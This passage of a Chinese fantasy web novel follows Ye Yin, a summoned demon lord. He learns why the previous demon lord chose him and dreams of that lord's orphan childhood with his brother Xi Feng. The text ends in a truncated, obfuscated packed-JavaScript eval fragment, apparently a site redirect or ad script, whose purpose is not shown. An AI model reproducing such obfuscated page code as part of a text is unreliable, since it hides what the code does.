一根筋变成两头堵了吗?! 叶隐望着高高的天花板发了会儿呆,问道:“魔王之血能给魔物吗?” 卡拉瓦多斯沉默了两秒,不知是以何等的心态回应道:“能。” “嗯……卡拉瓦多斯啊。” 叶隐语重心长地拍了拍对方血肉虬结的肩膀,手掌差点陷进去。 他吓得连忙把手拔出来,咳嗽一声,接着道:“那什么……欲戴王冠,必承其重,魔王之位意义重大,我这么个小个子一下就被压垮了,你这样的高个子才能把塌下来的天顶住。况且,你如此喜爱魔王城,如此热爱管家这份工作,与其替别人打工,不如自己当老板!世界上没有人比你更适合当魔王了,你说是不是?” 不等对方回答,他又在心里问系统:“我能不能把你连带着魔王之血转让给别人啊?你找别人当魔王好不好?”只是系统根本不搭理他。 “不要再说这般话了,叶大人。”卡拉瓦多斯摇头拒绝,语气严肃,“吾知您心中有怨,但并不是所有人都有资格成为魔王之血的宿主,何况前魔王选择您,是看中了您拥有驾驭魔王之血的潜能,即使在历代魔王中,这也是极为稀有的。” 顿了顿,它笃定道:“没有任何人能替代您,您就是最合适的魔王。” 卡拉瓦多斯说完这番话,系统才终于提示道: 【玩家的生命已与魔王之血绑定,完全转让魔王之血会导致玩家不可逆的死亡,请慎重考虑。】 “……” 叶隐一点儿也不意外,不然前魔王希恩去了哪儿呢?看来的确是因为将魔王之血转移给自己的缘故而死了。 作为一个本来可以随心所欲的魔王,这样的死法似乎有些过于憋屈,不过在这点上,叶隐也是五十步笑一百步,无话可说。 “好吧,先不聊这个了。”叶隐立刻改口,毕竟他现在还没活够呢。 其实刚说完那番话,他就后悔了,这些话若是往外说,很可能被他人抓住把柄,好在卡拉瓦多斯不仅没有那样的心思,甚至一反常态地给了他明确的支持态度……真是大大滴忠臣啊! 不过,代价仅仅是自己的死的话,或许他有一天会遇到去死反而更好的情况也说不定。 ……算了,真到了那种时候再说。 “但我还是不理解,前魔王是如何选中的我呢?”叶隐问道,“这世上就没有其他合适的人选了吗,以至于要从异世界找人?而且偏偏找到了和希恩一模一样的我?这应该不是巧合吧。” 卡拉瓦多斯道:“时空魔法不是吾有权窥探的领域。关于前魔王是如何选中您的,是吾所不知的技术问题,不过,仅仅说那个人选为什么是您的话……” 它没有把话说完,只是微微偏了偏头,叶隐顺着他的视线扭头望去,看到那不知何时已经洗完澡换好衣服的银发青年正幽幽站在那里,略显窄小的衣衫下隐约可见绷带的痕迹,瀑布般的银丝顺流而下,深邃的眼神让人难以揣摩。 他看着叶隐,道:“一直瞒着你,不是因为这是个秘密,只是因为我自己不想面对,抱歉。” 那句低沉的“抱歉”令叶隐有些意动,如果换个普通的问题,他会很乐意接受尤利西斯的道歉,但很可惜,他必须了解这件事的真相,即使他已经意识到,强迫尤利西斯阐述这件事会伤害到对方,他也没有退让的余地。 “没什么可道歉的……只要你肯开口。”叶隐绷着神情,努力表现得严肃,“不要再拖延了,现在说还来得及。” 尤利西斯微微颔首,慢慢走到叶隐旁边坐下。 他组织了番语句,开口道:“希恩选中和他长得一模一样的你,的确不是个巧合。用他自己的话来说,你们是彼此的‘异世界同位体’,各方面特征都高度相似,‘相貌一致’仅仅是这一点的外在表现之一。” 叶隐:“……” 异世界同位体?这是我的词啊! 他还没有看过希恩的图像或者相片什么的,但无论尤利西斯还是卡拉瓦多斯,都称他们的相貌“一模一样”,加上作为希恩亲兄弟的希冯都能将他认错,以及他和希恩连思维都能撞车……综合来看,“异世界同位体”的说法可信度很高。 ……只是,世界上有另一个自己什么的,总感觉有点怪异,毕竟他们本来生活在各自的世界里,是不会有交集的——直到希恩将他召唤过来。 “希恩……他和历代魔王都不一样,他根本不想成为魔王,所以一直压抑着觉醒的程度,甚至为此东躲西藏。”尤利西斯回忆着,“但是,我找到了他,而且……我没有相信他。 “那时,因为希恩一直在躲藏,原本应该在那段时间中现身的魔王始终没有踪影,帝国高层认为无法完成使命的我占据了太多资源,便剥夺了我的勇者头衔,于是我离开了王都,因为我相信魔王不会迟到,也许它只是太过狡猾。别人都不觉得魔王的威胁有传说中那么大,但从小听着魔王的故事长大的我不那么觉得。 “后来,我找到了希恩,无视了他的求饶和求助,杀了他……但我并没能彻底杀死他,反而让他陷入了不依赖魔王之血就必死无疑的境地,所以……他觉醒了,而没有勇者之剑的我,在完全觉醒的魔王面前毫无还手之力。 “但希恩并没有杀我,他的确和所有魔王都不一样,即使彻底觉醒,仍能保持一定的理智和人性,可是,压制魔王之血的举动极为痛苦、无法长久,他唯有在自己彻底失控之前,找到一个与他同路的、可以托付魔王之血的人。” 他看向叶隐,目光沉沉,“……也许,世上还存在其他能够控制魔王之血的人,然而他已经没有时间了。何况,即使时间足够,那样的人也不会自己蹦出来,他只有重蹈先前魔王的覆辙,将人类帝国征服,花费大量的财力物力,才能慢慢找到那个人,但那样一来,他与那些魔王的所作所为也就没有什么区别了。 “无论如何,这种方法都行不通……但他最终还是找到了另一条路,也就是异世界。 “他掌握的那个时空魔法,并没有智能到可以独立召唤合适人选的程度,他只能召唤特定的人,而作为他的异世界同位体的你,就是与他关系最密切的、可以被他召唤的人之一,哪怕你在事前甚至不知道他的存在。 “他认为你能成功,能做到他曾经没做到的事,因为你就是另一个他。”尤利西斯说道,“他相信,只要给你时间和机会,让你成长,你就一定能达成那个历代魔王都没能达成的目标——完全控制魔王之血,而不是被它控制。” 他挪开眼神,看向脚边的地板,喃喃道:“如果你真的能做到的话,或许……他曾经也有那样的机会,只是,他的希望,和他作为名为‘希恩’的人类的生命,都被我亲手抹除了。” 11. 血之记忆·残片①(上) 如果不是他太过傲慢、对于从小到大学来的知识深信不疑,认为魔王是必须铲除的罪恶之源; 如果他能稍微多一些同理心和责任感,将求饶的希恩视作平民而非待宰的魔王; 甚至,如果他能再强一些,即使不依赖勇者之剑,也能将刚刚完全觉醒的魔王希恩杀死。 ……后续的一切本该不会发生的,身为异世界平民的叶隐也根本不会被卷入到与自己无关的事件中来。 ——尤利西斯是这么想的。 他向希恩出手时,自以为那是解决问题的最快方式,却不料正是因此,让他与正确的答案擦肩而过,而为了弥补那样的错误,他必须额外付出的努力何止成百上千倍,期间种种变数更是可能导致成千上万人死去。 在希恩已经死去的如今,这一切都压在了他一人的肩上——但,幸好是他,而不是别人。 “……” 叶隐没有怀疑尤利西斯话语的真实性,因为系统已经给了他提示: 【叮~当前任务完成!获得奖励:觉醒度+5。】 【觉醒度:20/100】 【时髦值:16/100】 “了解自己被召唤来此界的前因后果”这个任务,拖了一个星期,终于是完成了。尽管叶隐非常不想要这5点觉醒度,但他更不可能一直放任自己被蒙在鼓里,系统的狡猾之处就在于此——它给了人一种可以选择是否前进的假象,实际上根本没有选择的余地。 唯一的好处是,有系统任务的要求保底,尤利西斯的话应该至少有九成真,倒是免了叶隐辨识真伪的功夫。 现在叶隐可以理解,尤利西斯先前为何总是回避这个话题了,哪怕对于他这样正直坚强的人,直面自己所犯下的、难以承受的错误,也是极为困难的,正是因为他责任感极强,才会认为自己必须为此负责到底,恐怕直到他自认为偿还完后果之前,他都会始终被愧疚与悔恨的阴云笼罩着吧。 即使在叶隐看来,尤利西斯也只是此方世界这个莫名其妙的魔王勇者体系下的受害者之一罢了,但身在这山中的尤利西斯自己,不会那么容易想通,要走出来只能靠他自己。 “世上没有什么如果,不存在的假设不去想也罢。”一番深思熟虑后,叶隐说道,“过去是无法改变的,但是现在可以改变,只要改变了现在,就能够改变未来。所以,重要的是当下的事,是我们在当下应该做什么。” 其实他想说些安慰尤利西斯的话,但话到嘴边又变成了正事,不过这也没办法,因为尤利西斯描述的事离他太过遥远,他只能从理性上理解尤利西斯,却无法在感性上和对方共情,虚伪的安慰一戳即破,根本拿不出手,不提也罢。 难得吐露一番真心过后,尤利西斯似乎迅速变回了平日里的样子,平静道:“你说得对。”随后再度闭口不言。 叶隐一阵沉默,他知道尤利西斯不可能那么快释怀,但目前而言,他能为尤利西斯说的只有这些了。 “那什么……”见气氛僵硬,叶隐唯有转移话题,“那个小龙人希冯,他之所以讨厌你,也是因为你杀过希恩一次?” 一听到希冯的名字,尤利西斯便扯了扯嘴角,语气不屑:“不,它和希恩虽然是亲兄弟,但想法背道而驰。它曾经也是人类,却对同胞毫无怜悯之心,它支持希恩作为魔王为所欲为,一点也不希望他压抑自己……它只是个纯粹的魔物而已。” 他顿了顿,不知嘲讽还是自嘲地说道:“它认为,正是因为我的存在,才让希恩的计划成为可能,所以它一直都想杀了我。在启动召唤阵的不久前,希恩为了防止它在此期间作乱,便强制将它封入石棺中……”他若有所思,“那封印本该能够维持至少一年的。” 叶隐:“……”不好意思,是我干的。 他不好意思地解释了一番自己的所作所为,然而,听完叶隐的话,一直旁听的卡拉瓦多斯却另有看法。 它说:“休眠状态的魔物并没有那么容易被唤醒,主要原因大抵是施展魔法的人是您。您身为魔王的气息,通过心灵感应魔法传递给了希冯大人,加上他在被封印前本就处于愤怒和暴躁中,并非自愿休眠,两相结合之下,才会导致他轻易破封而出。” 这不是还是我的锅吗?叶隐腹诽。 “那现在该怎么处理希冯呢?”叶隐抓了抓脑袋,面露愁容,“现在的我能封印他吗?而且,老实说,就算我能,我也不太想那么做……” 他顿了顿,意识到自己的话可能有歧义,立刻解释道:“因为你们看啊!我们的同伴还是太少了,做什么都束手束脚,战斗力也只能靠尤利西斯一个,如果希冯能加入我们的话,我们既少了一个敌人,也多了一个战友,不是一石二鸟吗?单单把他封印的话,有点太可惜了…对吧!” 尤利西斯盯着叶隐,眼神忽然犀利了起来,“只是因为这个?” 叶隐有些心虚,“……不然呢?” “你看它的眼神很奇怪,不像是第一次看见它。”尤利西斯一针见血地说道,“而且,你们交谈的时候,你只否认了你是它哥哥,没有阻止它称你为哥哥。” 叶隐:“……” 你平时不是很迟钝的吗,怎么这种时候突然开窍啊! “既然另一个世界存在另一个希恩,那那个世界存在另一个希冯,似乎也不奇怪。”尤利西斯沉吟道,“你在你的世界,有你自己的弟弟,是吗?所以你会对它有…恻隐之心。” ……怎么三言两语就推理出来了啊?! 叶隐愣了会儿,深深地叹了口气。 他抱着手扭过头去,声音很低:“我本来没打算说的,不然显得我像是又在抱怨不能回家一样,你也听腻了吧。” 没等尤利西斯接话,他立刻又转回头来道:“再说,我已经想清楚了,它只是和我弟弟长得一样而已,本质上是截然不同的两个人,我不会把他们搞混的!” 他将双手交叉竖起,在面前摆出一个叉,“我的提议都是基于我们的共同利益,和我的个人感情无关,才不是鬼迷心窍!你才是和我站在同一条战线上的队友,这一点我清楚得很。” 尤利西斯注视着叶隐,眉梢轻微上挑,语气却有些微妙的委屈:“我从没阻止过你说任何话。” 叶隐收回交叉的双臂抱在胸前,冷哼一声,“那你就当我单纯不想提起这个话题吧。” “……既然大人心中已有决断,吾就先告辞了。”卡拉瓦多斯起身欲走。 “等等!”叶隐站起身来,“我已经学会联络魔法了,还是把那个…心脏,还给你吧。” 闻言,对方那只泛白的眼球转向他。明明只有一颗像是毫无视力一般的眼珠,卡拉瓦多斯的注视却总令叶隐感觉瘆人。 “您不使用也没关系,但它需要留在这里,作为您掌管着吾性命的象征。”说着,它顿了顿,颇有深意道:“您愿意信任吾的忠诚,是吾的荣幸,但请不要忘记,您是魔王。” “……” 叶隐听得懂它的潜台词——身为魔王就该有魔王的自觉,尤其他还是一个没有力量的魔王。君君臣臣什么的,不是对什么人都行得通的,若是被真正心怀鬼胎之人察觉到,他的坦诚和信任就会变成刺向他自己的剑。 ——魔王城中再没有别人了,这番话所指的对象再明显不过,自然是某位正“自愿”待在牢里的小龙人。 尤利西斯先不提,连卡拉瓦多斯都不觉得龙人希冯是可以交心的对象,那叶隐自觉确实得好好考虑一番了。 叶隐靠着沙发沉思许久,吃完尤利西斯送的晚饭还在沉思,始终没想出该摆出一副怎样的态度才最有利于降服希冯,直到一股睡意袭来,他打了个哈欠,思绪逐渐回到现实中,这才发现拿走碗碟的尤利西斯又回到了房间里,且已经换了一身他自己的便服,正盘腿坐在客厅地毯上闭目养神。 “你干嘛?不回去睡觉?”叶隐问。 “今晚我睡你主厅。”尤利西斯闭着眼睛,嗓音带着些微困倦,带伤的身躯依旧挺拔,“不然,万一希冯袭击你,我可能来不及赶到。” “也不是不行啦。”叶隐虚着眼睛,“但你难道打算坐着睡觉吗?” “我……” 他刚吐出半个字,就被叶隐打断道:“别跟我扯什么‘疼痛使人清醒’!你知不知道人是要睡觉的啊?你是不是人啊?” 尤利西斯张了张嘴,欲言又止。 叶隐起身走向卧室,听对方还是坐在原地没动静,回头催促道:“过来,和我一起找被褥啊!” 尤利西斯终于抓住时机,强硬道:“我不需要。” 叶隐瞪大眼睛,惊中带怒地道:“你不会之前睡觉都不盖被子吧?!” 尤利西斯:“……” 虽然他不是个正经法师,但他每天晚上都是靠冥想度过的,不为了汲取魔力,只为了让头脑清明、保持心性坚毅,这是师父教给他的。 事实上,他保持这种作息已经十几年了,早已养成了用冥想代替睡眠的习惯,并不会因此缺觉,身体的疲劳程度也控制在可控范围内,但……若是把事实说出来,叶隐绝对会更加生气,所以他选择闭嘴。 “你还说自己是人呢!你真不是人吧?”叶隐翻了个白眼,自言自语道:“难道这个世界的人睡觉都不盖被子吗?那为什么我的房间里有被子?” “你真的不用管我。”尤利西斯的语气难得带上一丝无奈,“这样睡,我的警惕心更强,你也不想在睡梦中就被杀掉吧?” 叶隐一哽,这说的也不是没有道理…… 他确实有点担心小龙人夜袭,但他更担心的其实是对方直接逃出魔王城、将他们几人的消息散播出去。这样想着,他又施展了半次联络魔法,确认对方的位置的确还在监狱里,稍微舒了口气。 “好吧,你想怎么睡怎么睡。”叶隐说着,却还是转头从卧室里抱了两床被子出来,堆在沙发上,道:“放这了,盖不盖随你。” 他没再搭理尤利西斯,打着哈欠就回了卧室,“砰”地将门关上。 钻进被窝没多久,消耗魔力与精神紧绷后缓上来的疲惫感就逐渐淹没了叶隐,让他迷迷糊糊睡了过去。 他梦到自己陷入一片五光十色的画卷中,被无数个人影包裹着,他们向他伸出密密麻麻的手,嘴里含糊念叨着不知什么话语…… 慢慢地,人影们挥手的动作逐渐变得狂乱,像要将他撕碎一般使劲,但无论如何努力,他们与他之间始终隔着一层厚障壁,触碰不到他分毫,而他只是高高在上地俯视着那些手臂,像看着水中摇动的海带。 随后,一点、一点地,沉入海底…… 【叮……】 半梦半醒中,系统似乎弹出了提示音,但叶隐完全没有听清。 …… 【叮~觉醒度达到20,解锁血之记忆·残片①,将在玩家睡眠时自动读取,取消读取请按0。】 …… 叶隐走在满是积水的石板路上,浑身衣服都因浸水变得沉重。 视野中的一切都比平时要高上许多,他恍惚了一瞬,回过头去,看到自己正牵着一个七八岁年纪的孩童,而自己比起对方也高不了多少——这才反应过来,不是周围的东西变高了,而是他变矮了。 小孩儿清澈的目光中满是不安和焦虑,他一手被叶隐牵着,一手紧攥身上那破烂衣衫的衣角,他仰头望着比他高一个头的叶隐,可怜兮兮道:“哥哥,我饿,我走不动了。” “……” 这个孩童的样貌,叶隐很熟悉。 他是看着弟弟叶澜长大的,他记事时,叶澜才一岁多而已,那之后叶澜的每一次成长,他都历历在目。即使童年时期的许多事他都记不清了,唯独叶澜的事,他不会忘。 ——但他出声回应对方时,却在无意中叫出了另一个名字。 “再坚持一下,希冯。”叶隐说道,“天快黑了,今晚还要下雨,街道会被淹没的,我们不能留在这里,必须再往前走一些。” 希冯……不是那个小龙人的名字吗?他不是阿澜……? 叶隐感觉自己的意识有些恍惚,他为什么会变成一个半大少年?他是在做梦吗? 可这里 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希冯转动着火坑边上几条成人手指粗细的烤鱼,叶隐则将双手置于身前,聚精会神地盯着被双掌聚拢在一起的空气,慢慢地、有星星点点的光芒开始汇集、在叶隐的掌中逐渐成型,一旁的希冯看得目眩神迷,以至于忘了烤鱼,直到鱼身冒出焦香,他才回过神来,一阵手忙脚乱。 星光黯淡下去,只余一小撮晶莹透明的粉末留在叶隐掌心,这是极为宝贵的盐。他小心地用手指捻起一些,洒在焦黑的烤鱼上,直到用完。 希冯的烤鱼没有任何技术可言,若不是洒了盐增色,着实难以下咽,但这对两兄弟而言已经是极为难得的食物,更多时候,他们的主食还是别人倒在水沟里的剩饭。但好在,那样的窘境在最近有所好转。 倒不是说两兄弟得了意外之财,而是两兄弟中的哥哥忽然觉醒了特别的才能,光凭感觉就能将无用之物转变为有用之物,甚至是凭空造物,简直像教会的牧师们所施展的神术一样神奇!——之后一段时间里,在有意的接触下,他们得知了世间还有“魔法”这种东西的存在,甚至他们所见到的建筑、城池,其建造过程中都有魔法的参与,只是不为他们这样的贫民所知罢了。 然而,哥哥的“魔法”,似乎与寻常魔法有些不同。 按照一位年轻法师的说法,“造物”是一大类范围很广的魔法,下到冰火、土石,上到人造之物,都是可以用魔法创造的,但制造面包那样的营养物质至少需要三年的学习,像两兄弟中的哥哥这样,凭感觉就能制造的糖分的法师,似乎是绝无仅有的。 两兄弟只能接触到最底端的魔法学徒,借此管中窥豹。如果哥哥的天赋被发现,他们说不定能一步登天,被帝国的大魔法师收为弟子,从此脱离朝不保夕的生活,走上人生正轨…… “不行,希冯。”哥哥却坚定地想要打消弟弟的念头,“事情绝对不会那样顺利,我们对魔法的世界知道得太少了。一旦做出这样的选择,就没有回头路了,若是继续现在的生活,以我们的力量,至少能自由地活下去,所以不行……至少现在不行。” 在哥哥本人的坚持下,两兄弟终究抵抗住了利益和地位的诱惑,没有将哥哥的才能公之于众,一以贯之地继续着流浪的生活——当然,用少许魔法略微提高一下生活质量,顺便锻炼魔法技巧,是两兄弟心照不宣的秘密。 “哥哥,再做些糖吧!” 希冯把附近的草都薅了一番,挑选出其中最鲜绿的部分堆到叶隐跟前,期盼地望着他。 小少年不明白,草为什么能变成糖,而石头、泥巴就变不成,他还试着让自家哥哥做点水果糖出来,后者却表示制造纯糖和水果糖的难度不是一个量级,现在的他还做不到。 失望归失望,但小少年并不是真的在乎那么多。只要有糖吃,他的日子就有盼头;而只要有哥哥的糖吃,他就是全天下最幸福的人了! 叶隐伸出双手,草叶在他手中被萃取为悬空的液滴,发光的魔力在其中涌动,随后液滴凝固成形,变为几颗大小均匀、形态圆润的糖球。它的滋味远不如街上卖的糖块丰富,但同时也没有劣质的苦味,就只是纯粹的甜,这就是弟弟希冯最喜欢的味道。 “好耶!”希冯欢呼一声,小心翼翼地从叶隐掌心拿走一颗糖,依依不舍道:“剩下的还是哥哥收起来吧,我怕我一个忍不住就全吃了。” “……” 能量……糖……如此简单就可以制造出来吗? 叶隐低头看着自己的掌心,若有所思。他能感觉到魔力在自己体内做着毫无规律的运动,与借助标准的术式施法的时候大相径庭,但这样的施法却的确是有效的,看来不能太拘泥于教材,毕竟负责教导的尤利西斯施展的也只是人类的魔法。 他已经记住了施法的感觉,也许等梦醒后可以尝试一番…… ……等会儿。 叶隐忽然想起来什么,既然“自己”此刻施展的并非人类魔法,那—— 他正在思考,思绪却霎时间被卷入一场风暴中,他下意识想要抓住身边的希冯,后者却只在他视野中留下一个笑容的残影。 ……一阵天旋地转过后,叶隐渐渐恢复了意识,他看着身边骤然长大了四五岁的少年,一阵发愣。 “教会的狗东西,简直和帮派混混没两样!真是看错他们了!” 少年希冯满身是伤、头破血流,像是刚刚被人围着揍过一顿似的,他一边用破布给自己包扎,一边咬牙切齿地咒骂着。 这是到了梦里的另一个场景……? 叶隐还有些恍惚,好在他仍能一眼认出希冯,就是不知道这期间经历了什么事,把他的弟弟变成了一个会操着脏话和别人打架的精神小伙。 叶隐动了动手臂,身体骤然传来一股剧痛,他这才意识到,自己不是放任弟弟不管、自个儿躺着,而是起不来。希冯受了伤,他似乎也没好到哪去,浑身上下没哪一块儿不疼,不过他身上的伤已经被处理过了,大概是希冯做的吧。 所以,到底发生了什么? 12. 血之记忆·残片①(中) “我们抢了教会的工作,他们当然不希望我们继续待在这里。”叶隐躺在床上,有气无力地说道。 希冯给自己脑袋上的伤口绑上清洗过的布条,依然气愤:“可他们治人不收钱,我们治人也没收钱,哪里碍着他们了!” “不是钱的问题…咳……” “叶隐”此时的状态确实不好,他的喉咙里在不断涌出血腥味,每一次呼吸都针扎似的疼,体内魔力耗竭的感觉也分外难受,不过他仍在竭力压制着,不想被旁边的希冯发现自己的痛苦。 叶隐咽下一口血沫,接着道:“神术被教会垄断,甚至医师协会、药剂师协会,都与教会有不清不楚的关系…咳咳……”他喘了口气,“……但凡是能治病救人的手段,无一不受到他们的管辖,而我们…当着教会的人的面,救了他们没救成的人……所以,他们才……” 希冯眼神阴沉,“明明是他们自己无能的错!难道我们就放着那个女人和肚子里的孩子一起死吗?” “也许会有两全其美的方法……但事情已经发生,后悔是没用的,再说,我也并不后悔出手。那对母子的性命保住了,这才是最重要的。”说罢,叶隐长长地喘了一口气,苦笑道:“就是连累你和我一起挨打了……我叫你跑的时候,你就该跑的。” 希冯猛地起身,头上刚绑好的布条都掉了下来,他头上滋滋冒着血,气急败坏道:“你、你在放屁!那群人就是冲着把我们打死来的,要不是我打趴下了几个,趁机把你拖走,你…你就……” 他说着说着就没声了,只偶尔传来微弱的哽咽,过了会儿,他奋力一揩眼角,捡起地上的布条重新裹回脑袋上,倚着墙角闷不作声。 沉默许久后,叶隐低声道:“他们还不至于当街杀人,不过,我们确实得离开了。” 两兄弟在这片街角流浪许久,去赌场当过托,去帮派挨过打,去酒馆跑过堂,日日风吹雨淋,终于在犄角旮旯里租到半间房子,似乎将要摆脱流浪生活,然而教会的动作太过麻利,他们在出手救人的当晚就挨了毒打,下手的人虽然因为希冯的反抗而撤退,却似乎并未放弃驱逐他们的打算,情况已经不容他们再心怀侥幸了。 “就为了这种事,要我们放弃好不容易挣来的房子……”希冯恨恨道,“帮派里明明也有黑诊所,为什么他们就不会被教会针对?为什么我们就非得逃跑不可?!就因为我们没有靠山!!” 两兄弟这样没房没地的流浪汉,在城里有很多,但他们不依赖帮派的势力就几乎活不下去。曾经,两兄弟也尝试着加入过本地帮派,却被当做炮灰派出去加入帮派斗争,险些丢了命,那之后,他们艰难攒了一大笔费用,才堪堪脱身,而更多像他们一样的人,只能一条路走到黑,在得到帮派庇佑的同时,也面临着随时被抛弃的风险。 “……事情或许没那么简单。” 身为当事人的“叶隐”,对这件事的感受更加直接,也更加怪异,他回忆着教会派来的打手的态度,若有所思,却想不出究竟是哪个环节出了问题,最终只摇了摇头,道:“总之,我们多半已经被盯上了,家是不能回了,家里的东西都放弃掉吧。等我恢复一些魔力,把咱俩的伤治一治,就赶紧出城,其他的都不重要。” “……” 希冯残留的怒意不知为何忽然消散了,他愣愣看着躺在边上的哥哥,抿了抿嘴,“……我听你的,哥,都听你的。” 很好,本质上还是那个乖乖仔嘛,叶隐苦中作乐地感到欣慰。 欣慰归欣慰,叶隐对两兄弟的未来却全然乐观不起来,因为,“自己”想不通问题在何处,叶隐这个局外人却是知道的。 “自己”……或者说,“希恩”,他能施展种种特异魔法的原因,根本上只有一个——他是被魔王之血选中的宿主。他已经不是人类了,所以不受到人类魔法的局限,但现在的两兄弟,还只是以为那是一种特殊的才能,而对身边潜伏着的最大危险一无所知。 然而,希恩的特殊之处,已经被外人先一步察觉到了,教会恐怕就如希恩的直觉那般,绝不会善罢甘休。 一切的转折,也许很快就会到来,届时,即使只是如今这般一无所有的漂泊,也会成为一种奢侈。 …… 花了将近半个月时间,两兄弟终于辗转来到另一座小城,找了间无人居住的破屋暂且歇脚。 “哥,你有没有感觉,最近向我们求助的人特别多?”希冯蹙眉问道。 这不是他疑神疑鬼,本已经足够低调的两兄弟根本不该招惹上那么多旁人的注意,可他们每天出门都能遇上饿晕在家附近的小孩、哭着求药的老人,甚至帮派火并的受害者……尽管他们有特意藏好哥哥的魔法,只提供除此以外力所能及的帮助,或者干脆视而不见,但类似的事件还是屡见不鲜。 “你觉得,他们是受人指使,来打探我们底细的吗?的确有可能。”叶隐轻叹一口气,“不过为什么要用这种手段呢?对我们这样无家可归的人而言,太过温和了不是吗?” “……不管他们用什么手段,我都不信外人会对我们好。” 少年希冯眼神倔强,被坑了许多次后,他直接从一个极端走到了另一个极端,除了亲哥以外谁都不信,哪怕对于手无缚鸡之力的妇孺,他也自有一套视角。若不是为了他亲哥的意愿和名声,他才不会对无关系的外人伸出援手,哪怕是那个在街头难产的女人…… “我们再换个地方住吧,哥!大不了再走远点!” 叶隐摇头道:“我们走了十几天才走到这里,他们却还能第一时间找到我们,说明他们的情报网远比我们想象中发达。直接走人,是不可能甩掉那些人的眼线的,到哪里都一样,要是我们真走到他们触及不到的地方去,比如边境,那我们要面对的危险就不止是这些人了。” 希冯咽了咽口水,“那、那要怎么办?我们不能暴露,但也不能一直放着他们的试探不管吧?不然他们早晚会动手的!” 叶隐沉吟片刻,道:“他们不直接对我们动手,而是以观察为主,寄希望于我们主动暴露,和先前直接派打手的作风明显不一样,也许前后不是同一波人,也许是他们改变了策略的缘故……总之,对于他们,我们暂时没什么可做的,毕竟,无论敌人是教会还是帮派,我们二人的武力值都不是一合之敌,主动出击也没有任何优势……但有一件重要的事,我们确实应该尽快去做。” 希冯不解:“什么?” 叶隐笃定道:“必须找到我的魔法异于常理的根源。” 作为使用魔法的当事人,以及一位勉强学了些浅薄知识的魔法学徒,他远比身为文盲和旁观者的希冯更能意识到自己魔法的特异之处。他的魔力并不强,这是他并未系统学习过冥想的缘故,但他以这孱弱的魔力,却能做到据说连许多大魔法师都做不到的事,甚至是治愈他人、这样本该只有神术才能做到的事,这早已让他心生疑虑了。 碍于眼界,以及生活所迫,他此前并没有机会去深入思考。帝国的每一座城市都有魔法师驻扎,而有魔法师驻扎的地方,就意味着有图书馆,这是一位魔法学徒告诉他们的、不成文的规定,据他所说,这二者的建设是密不可分的。但,即使是十八线小城的图书馆,也不会放任一个穿着不体面的贫民进入,而这已经是获取知识最便宜快捷的途径了。 然而,很可惜,即使叶隐花大价钱租赁了一套体面的衣物,也没能在这座小城的图书馆里找到对他有价值的情报,其一是这图书馆本就小得不行,其二是,魔法相关的书籍在任何地方都是高档读物,即使放在图书馆中,也不会置于所有人都能接触到的公共区域——这是叶隐在进入图书馆后,才察觉到的。 “果然没有门路还是不行啊。” 叶隐叹了口气,心疼地摸了摸身上柔顺的布料,将租来的衣服小心翼翼地脱下叠好。也不知道他们什么时候才能穿得起这样的衣服? ……也许可以试着用魔法制衣?但材料该买的还是得买,强行用魔法具现只会让东西徒有其表,因为他压根没理解一样物品的内在构成,据说那是一门极为深奥的学问,何况魔法不会弥补他对布料、对缝线、对衣物结构与版型知识的缺失,他还是得学习…… 他渴望学习,因为他要学的、想学的东西太多了,可学习就意味着必须将工作的时间抽走,而他工作的时间短了,希冯工作的时间就必须更长,不然就难以维持现在的生活。 他一直对此很愧疚,即使希冯毫无保留地支持他脱产学习,他也有尽量用魔法制品补贴家用,可每当看到弟弟天不亮就出门、入夜还不归来,他心中的焦躁总是难以言说。 他是哥哥,比弟弟希冯还要大三岁,理应承担更多的责任才对,即使他做的事也是为了这个家的未来,但这样就足够了吗?……或者说,这真的是有意义的吗?他们过的从来都是朝不保夕的日子,而学习是对未来有奢求的人才能投资的事,他们真的能坚持到得以回报的那一天吗? ——从记事起,两兄弟已经过了近十年流浪日子,能无病无灾活到今日实属不易,他以为自己早已适应这样的生活,不会再埋怨任何人,可越是渴求知识,他越忍不住幻想——若他和弟弟能生活在更加富饶、更加和平、知识更加便宜的地方,若是他们还有其他能够互相帮衬的亲人,若大家能一同住在能够遮风避雨的屋子里……那该有多好? “哥,你一个人出门的时候,一定要小心。”少年希冯担忧的神情与叶隐如出一辙,只是二人担忧的事截然不同。 希冯对叶隐想要解决的问题毫无头绪、帮不上任何忙,他能做的只有努力工作,让叶隐有时间和精力专心调查。他的目光远不如哥哥长远,这一点他自己也心知肚明,所以他在大事上一向听从哥哥的安排,无论对方的决定在他看来有多不可思议。 他严肃道:“你总是不愿意用魔法伤害别人,要是我在你边上也就算了,可我不在,你必须想办法保护自己才行!” 丢火球什么的,对任何一个魔法学徒而言都是基本功,毕竟身处乱世中,保住性命是第一要务,希恩也的确偷偷练习过,只是一次都不曾对着人类施展罢了。 希冯旁观过希恩的练习,他明明能够轻松释放出威力强大的魔法,而且无论是正面强攻的火球、隐匿性极强的风刃,甚至任何血肉都无法抵抗的雷霆、无比坚固的护盾……如果希恩愿意将自己的魔法用于战斗,他会成为一个极其强大的战斗法师,而希恩对此的消极态度,绝对不是出于对暴力本身的抗拒,更像是…害怕自己无法控制那种力量,伤及无辜。 天生好战的希冯从小到大都不怕打架,最尊崇的名言就是“打得一拳开,免得百拳来”。从前他可以勉为其难尊重哥哥的想法——哪怕在他看来,身怀利器却宁可忍受欺压的心态着实难以理解——但现在情势所迫,即使失手杀人,也总比稀里糊涂地被别人杀掉要好吧! “别担心,我会保护好自己的。”叶隐轻轻点头,再度陷入沉思。 直接进图书馆找不到资料,去往大城市的路途又太过漫长,久则生变,两条路子都走不通。 好在,他还有一条路子没有尝试过,那就是——去接触驻扎在本地的那位魔法师。 教会和法师协会并非一心,暗中观察着两兄弟的人属于教会的可能性更大,那么那位法师也介入其中的可能性就很小,与对方接触,至少相对而言是安全的。再说,对方是正儿八经持证上岗的法师,相比某些可能终生无法毕业的魔法学徒,对希恩的异常有所了解的概率也更大。 唯一的问题是,那个法师目前身处何地?他一个无权无势无户口的三无人员,该如何才能接触到对方? 叶隐思索着,目光逐渐移到一旁堆叠整齐的贵重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 